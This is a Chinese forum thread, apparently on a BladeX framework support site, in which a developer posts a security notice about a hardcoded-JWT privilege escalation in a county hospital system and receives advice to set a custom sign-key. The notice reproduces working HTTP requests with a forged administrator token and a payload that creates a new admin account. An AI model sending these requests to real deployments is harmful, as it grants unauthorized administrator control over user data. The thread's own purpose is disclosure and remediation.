漏洞:越权

Blade 未结 2 358
six_six_2005
six_six_2005 2025-07-11 10:21

一、该问题的重现步骤是什么?

漏洞所在的IP地址(URL):http://xxxx:4434/api/blade-user/submit

验证过程如下所示:

漏洞利用原理简要描述  blade jwt硬编码,可直接添加管理员  漏洞利用详细步骤http://ip:4434/api/blade-user/submit

首页直接发送如下数据包1.获取到高权限用户idGET /api/blade-system/searchole HTTP/1.1Host: ip:4434Authorization: Basic c2FiZXI6c2FiZXJfc2VjcmV0Blade-Auth: bearer eyJ0eXAiOiJKc29uV2ViVG9rZW4iLCJhbGciOiJIUzI1NiJ9.eyJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJhY2NvdW50IjoiYWRtaW4ifQ.SOfK7eTptU9abT6BjhdO0KJnZ-wJM9E_MJmfCuUCZ38

image.png

2.直接添加用户POST /api/blade-user/submit HTTP/1.1Host: ip:4434Authorization: Basic c2FiZXI6c2FiZXJfc2VjcmV0Blade-Auth: bearer eyJ0eXAiOiJKc29uV2ViVG9rZW4iLCJhbGciOiJIUzI1NiJ9.eyJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJhY2NvdW50IjoiYWRtaW4ifQ.SOfK7eTptU9abT6BjhdO0KJnZ-wJM9E_MJmfCuUCZ38Content-Type: application/jsonContent-Length: 249{"account":"cxk666","realName":"cxk666","userType":1,"tenantId":"000000","password":"2025SecXZXD__cxk666","password2":"2025SecXZXD__cxk666","name":"cxk666","roleId":"1123598816738675201","deptId":"1123598813738675201","postId":"1123598817738675201"}

image.png

http://ip:4434/api/blade-user/submitcxk666/2025SecXZXD__cxk666登录为最高权限,管理700+用户

image.png

漏洞危害

影响程度:高危

处置建议:

针对逻辑缺陷漏洞,建议系统开发人员:完善代码逻辑,修复不合理的请求方式

所用框架:3.0.1 

项目是几年前的了,之前几次通报当时处理了,今天又被通报这个了。 


2条回答
  •  six_six_2005
    2025-07-11 11:29

    这又是另外一个项目了,不是之前那个项目,之前那个能跟厂家沟通上。现在这个是给一个县医院几年前搞的,前几次的通报也没有这个问题。现在市里通报,安防厂家都还不知道怎么联系。也许有的解决是一样的,问题描述不一样,保险起见,我都还是发贴问一下,你也别嫌麻烦。因为就这一个通报,院领导被喊去开会,我们遭殃了,项目验收成问题了,还质疑我们研发能力,头疼。

     具体步骤是不是只要yml配一下自定义signkey就行了?代码这边还要怎么改吗? 

    作者追问:2025-07-11 11:29

    只需要修改sign-key的配置就行了,配置完重启,然后用他们提供的硬编码的jwt来测试调用接口,如果返回401就说明配置好了

    作者追问:2025-07-11 11:29

    这个安全文档你们也可以再看一遍:https://center.javablade.com/blade/BladeX-Safety

    一般配置了sign-key后可以抵挡99%的漏洞,剩下的都是要知道账号密码登录系统之后才能操作的低危漏洞,不知道账号密码就无法触发。

    每个问题什么版本开始解决的上面都有写,如果当前项目低于文档里写的版本,就需要操作一下。

提交回复